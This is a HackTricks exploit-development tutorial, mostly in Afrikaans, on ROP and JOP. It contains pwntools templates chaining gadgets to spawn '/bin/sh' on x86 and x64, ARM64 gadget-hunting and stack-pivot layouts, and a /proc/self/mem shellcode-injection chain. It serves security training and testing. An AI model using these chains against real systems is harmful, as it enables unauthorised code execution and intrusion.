ROP & JOP

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Return-Oriented Programming (ROP) is ’n gevorderde eksploitasietegniek wat gebruik word om sekuriteitsmaatreëls soos No-Execute (NX) of Data Execution Prevention (DEP) te omseil. In plaas daarvan om shellcode in te spuit en uit te voer, benut ’n aanvaller stukke kode wat reeds in die binaire of in gelaaide biblioteke teenwoordig is, bekend as “gadgets”. Elke gadget eindig tipies met ’n ret instruktion en voer ’n klein bewerking uit, soos om data tussen registers te skuif of aritmetiese operasies uit te voer. Deur hierdie gadgets aanmekaar te koppel, kan ’n aanvaller ’n payload saamstel om arbitrêre operasies uit te voer en sodoende NX/DEP-beskerming te omseil.

Hoe ROP Werk

  1. Control Flow Hijacking: Eerstens moet ’n aanvaller die control flow van ’n program kap, tipies deur ’n buffer overflow te misbruik om ’n gestoor terugkeeradres op die stack oor te skryf.
  2. Gadget Chaining: Die aanvaller kies en koppel dan sorgvuldig gadgets om die verlangde aksies uit te voer. Dit kan behels om argumente vir ’n funksie-oproep voor te berei, die funksie aan te roep (bv. system("/bin/sh")), en enige nodige opruiming of addisionele operasies te hanteer.
  3. Payload Execution: Wanneer die kwesbare funksie terugkeer, in plaas daarvan om na ’n geldige adres terug te keer, begin dit om die ketting van gadgets uit te voer.

Gereedskap

Tipies kan gadgets gevind word met ROPgadget, ropper of direk met pwntools (ROP).

ROP-ketting in x86 Voorbeeld

x86 (32-bit) Aanroepkonvensies

  • cdecl: Die caller maak die stack skoon. Funksie-argumente word in omgekeerde volgorde (regs-na-links) op die stack gestoot. Argumente word van regs na links op die stack gestoot.
  • stdcall: Soortgelyk aan cdecl, maar die callee is verantwoordelik vir die skoonmaak van die stack.

Gadgets opspoor

Eerstens, kom ons veronderstel ons het die nodige gadgets binne die binaire of sy gelaaide biblioteke geïdentifiseer. Die gadgets waarin ons belangstel is:

  • pop eax; ret: Hierdie gadget pop die boonste waarde van die stack in die EAX register en keer dan terug, wat ons beheer oor EAX gee.
  • pop ebx; ret: Vergelykbaar met hierbo, maar vir die EBX register, wat beheer oor EBX moontlik maak.
  • mov [ebx], eax; ret: Skuif die waarde in EAX na die geheueadres aangedui deur EBX en keer dan terug. Dit word dikwels ’n write-what-where gadget genoem.
  • Benewens het ons die adres van die system() funksie beskikbaar.

ROP-ketting

Met pwntools berei ons die stack voor vir die uitvoering van die ROP-ketting soos volg, met die doel om system('/bin/sh') uit te voer; let op hoe die ketting begin met:

  1. ’n ret instruction vir uitlyningsdoeleindes (opsioneel)
  2. Adres van die system funksie (aangenome ASLR gedeaktiveer en bekende libc, meer inligting in Ret2lib)
  3. Plekhouer vir die terugkeeradres van system()
  4. Die adres van die "/bin/sh" string (parameter vir die system-funksie)
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

ROP Chain in x64 Voorbeeld

x64 (64-bit) Oproepkonvensies

  • Gebruik die System V AMD64 ABI oproepkonvensie op Unix-agtige stelsels, waar die eerste ses integer- of pointer-argumente deur die registers RDI, RSI, RDX, RCX, R8, en R9 oorgedra word. Addisionele argumente word op die stack deurgegee. Die terugkeerwaarde word in RAX geplaas.
  • Windows x64 oproepkonvensie gebruik RCX, RDX, R8, en R9 vir die eerste vier integer- of pointer-argumente, met addisionele argumente wat op die stack deurgegee word. Die terugkeerwaarde word in RAX geplaas.
  • Registers: 64-bit registers sluit RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, en R8 tot R15 in.

Finding Gadgets

Vir ons doel, laat ons fokus op gadgets wat ons toelaat om die RDI register te stel (om die “/bin/sh” string as ’n argument aan system() deur te gee) en dan die system() funksie aan te roep. Ons gaan aanvaar ons het die volgende gadgets geïdentifiseer:

  • pop rdi; ret: Haal die boonste waarde van die stack in RDI en keer dan terug. Noodsaaklik om ons argument vir system() te stel.
  • ret: ’n eenvoudige return-instruksie, nuttig vir stack-belyning in sekere scenario’s.

En ons ken die adres van die system() funksie.

ROP Chain

Hieronder is ’n voorbeeld wat pwntools gebruik om ‘n ROP chain op te stel en uit te voer wat daarop gemik is om system(’/bin/sh’) op x64 uit te voer:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

In hierdie voorbeeld:

  • Ons gebruik die pop rdi; ret gadget om RDI na die adres van "/bin/sh" te stel.
  • Ons spring direk na system() nadat ons RDI gestel het, met die adres van system() in die ketting.
  • ret_gadget word gebruik vir belyning indien die teikenomgewing dit vereis, wat meer algemeen in x64 is om behoorlike stapelbelyning voor funksie-oproepe te verseker.

Stapelbelyning

Die x86-64 ABI verseker dat die stapel op 16 bytes belyn is wanneer ’n call instruction uitgevoer word. LIBC, om prestasie te optimaliseer, gebruik SSE instructions (soos movaps) wat hierdie belyning vereis. As die stapel nie behoorlik belyn is nie (d.w.s. RSP is nie ’n veelvoud van 16 nie), sal oproepe na funksies soos system misluk in ’n ROP chain. Om dit reg te stel, voeg eenvoudig ’n ret gadget by voor die oproep na system in jou ROP chain.

x86 vs x64 hoofverskil

Tip

Aangesien x64 registers gebruik vir die eerste paar argumente, vereis dit dikwels minder gadgets as x86 vir eenvoudige funksie-oproepe, maar om die regte gadgets te vind en te ketting kan meer kompleks wees weens die groter aantal registers en die groter adresruimte. Die toename in registers en die groter adresruimte in x64 argitektuur bied beide geleenthede en uitdagings vir exploit development, veral in die konteks van Return-Oriented Programming (ROP).

ROP chain in ARM64

Vir inligting oor ARM64 Basics & Calling conventions, sien die volgende bladsy:

Introduction to ARM64v8

[!DANGER] Dit is belangrik om daarop te let dat wanneer jy na ’n funksie spring met ’n ROP in ARM64, jy na die tweede instruksie van die funksie (ten minste) moet spring om te voorkom dat die huidige stapelwyser op die stapel gestoor word en sodoende in ’n ewige lus beland wat die funksie oor en oor oproep.

Finding gadgets in system Dylds

Die stelselbiblioteke word saam gekompileer in ’n enkele lêer genaamd dyld_shared_cache_arm64. Hierdie lêer bevat al die stelselbiblioteke in ’n gekomprimeerde formaat. Om hierdie lêer vanaf die mobiele toestel af te laai kan jy doen:

scp [-J <domain>] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 .
# -Use -J if connecting through Corellium via Quick Connect

Dan kan jy ’n paar tools gebruik om die werklike libraries uit die dyld_shared_cache_arm64-lêer te onttrek:

brew install keith/formulae/dyld-shared-cache-extractor
dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted

Nou, om interessante gadgets vir die binary wat jy uitbuit te vind, moet jy eers weet watter libraries deur die binary gelaai word. Jy kan lldb* hiervoor gebruik:

lldb ./vuln
br s -n main
run
image list

Laastens kan jy Ropper gebruik om gadgets in die biblioteke waarin jy belangstel te vind:

# Install
python3 -m pip install ropper --break-system-packages
ropper --file libcache.dylib --search "mov x0"

JOP - Jump Oriented Programming

JOP is ’n soortgelyke tegniek aan ROP, maar by elke gadget word, in plaas daarvan om ’n RET-instruksie aan die einde te hê, springadresse gebruik. Dit kan veral nuttig wees in situasies waar ROP nie haalbaar is nie, soos wanneer daar geen geskikte gadgets beskikbaar is nie. Dit word algemeen gebruik in ARM-argitekture waar die ret-instruksie nie so algemeen gebruik word as in x86/x64-argitekture nie.

Jy kan ook rop-gereedskap gebruik om JOP-gadgets te vind, byvoorbeeld:

cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64
ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0

Kom ons kyk na ’n voorbeeld:

  • Daar is ’n heap overflow that allows us to overwrite a function pointer wat in die heap gestoor is en aangeroep sal word.

  • x0 wys na die heap waar ons sekere ruimte beheer

  • Uit die gelaaide system libraries vind ons die volgende gadgets:

0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;
0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3;
  • Ons kan die eerste gadget gebruik om x0 te laai met ’n aanwyser na /bin/sh (gestoor in die heap) en dan x2 te laai vanaf x0 + 0x30 met die adres van system en daarnaar te spring.

Stack Pivot

Stack pivoting is ’n tegniek wat in eksploitasies gebruik word om die stack pointer (RSP in x64, SP in ARM64) te verander sodat dit na ’n beheerde geheuegebied wys, soos die heap of ’n buffer op die stack, waar die aanvaller hul payload kan plaas (gewoonlik ’n ROP/JOP-ketting).

Examples of Stack Pivoting chains:

  • Voorbeeld net 1 gadget:
mov sp, x0; ldp x29, x30, [sp], #0x10; ret;

The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`.
I found this gadget in libunwind.dylib
If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack.

0000001c61a9b9c:
ldr x16, [x0, #0xf8];    // Control x16
ldr x30, [x0, #0x100];   // Control x30
ldp x0, x1, [x0];        // Control x1
mov sp, x16;             // Control sp
ret;                     // ret will jump to x30, which we control

To use this gadget you could use in the heap something like:
<address of x0 to keep x0>     # ldp x0, x1, [x0]
<address of gadget>            # Let's suppose this is the overflowed pointer that allows to call the ROP chain
"A" * 0xe8 (0xf8-16)           # Fill until x0+0xf8
<address x0+16>                # Lets point SP to x0+16 to control the stack
<next gadget>                  # This will go into x30, which will be called with ret (so add of 2nd gadget)
  • Voorbeeld meerdere gadgets:
// G1: Typical PAC epilogue that restores frame and returns
// (seen in many leaf/non-leaf functions)
G1:
ldp     x29, x30, [sp], #0x10     // restore FP/LR
autiasp                          // **PAC check on LR**
retab                            // **PAC-aware return**

// G2: Small helper that (dangerously) moves SP from FP
// (appears in some hand-written helpers / stubs; good to grep for)
G2:
mov     sp, x29                  // **pivot candidate**
ret

// G3: Reader on the new stack (common prologue/epilogue shape)
G3:
ldp     x0, x1, [sp], #0x10      // consume args from "new" stack
ret
G1:
stp x8, x1, [sp]  // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled)
ldr x8, [x0]      // Load x8 with the value at address x0 (controlled by attacker, address of G2)
blr x8            // Branch to the address in x8 (controlled by attacker)

G2:
ldp x29, x30, [sp], #0x10  // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3
ret
G3:
mov sp, x29       // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap
ret

Shellcode via /proc/self/mem (Embedded Linux)

As jy reeds ’n ROP chain het maar geen RWX mappings, is ’n alternatief om shellcode in die huidige proses te skryf met behulp van /proc/self/mem en daarna daarheen te jump. Dit is algemeen op embedded Linux targets waar /proc/self/mem skryfbeskermings op uitvoerbare segmenten in standaardkonfigurasies kan ignoreer.

Tipiese chain-idee:

fd = open("/proc/self/mem", O_RDWR);
lseek(fd, target_addr, SEEK_SET);   // e.g., a known RX mapping or code cave
write(fd, shellcode, shellcode_len);
((void(*)())target_addr)();         // ARM Thumb: jump to target_addr | 1

As dit moeilik is om fd te behou, kan dit haalbaar wees om open() meerdere kere aan te roep om die descriptor wat vir /proc/self/mem gebruik word te raai. Op ARM Thumb teikens, onthou om die laagste bit te stel wanneer branching (addr | 1).

Beskermings teen ROP en JOP

  • ASLR & PIE: Hierdie beskermings maak die gebruik van ROP moeiliker aangesien die adresse van die gadgets tussen uitvoering verander.
  • Stack Canaries: In ’n BOF is dit nodig om die gestoor­de stack canary te omseil om return pointers te oorskryf en ’n ROP-ketting te misbruik.
  • Tekort aan gadgets: As daar nie genoeg gadgets is nie, sal dit nie moontlik wees om ’n ROP-ketting te genereer nie.

ROP-gebaseerde tegnieke

Neem kennis dat ROP net ’n tegniek is om arbitrêre kode uit te voer. Gebaseer op ROP is baie Ret2XXX-tegnieke ontwikkel:

  • Ret2lib: Gebruik ROP om arbitrêre funksies uit ’n gelaaide biblioteek met arbitrêre parameters aan te roep (gewoonlik iets soos system('/bin/sh').

Ret2lib

  • Ret2Syscall: Gebruik ROP om ’n oproep na ’n syscall voor te berei, bv. execve, en laat dit arbitrêre opdragte uitvoer.

Ret2syscall

  • EBP2Ret & EBP Chaining: Die eerste misbruik EBP in plaas van EIP om die vloei te beheer en die tweede is soortgelyk aan Ret2lib, maar in hierdie geval word die vloei hoofsaaklik beheer met EBP-adresse (alhoewel dit ook nodig is om EIP te beheer).

Stack Pivoting

Ander Voorbeelde & Verwysings

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks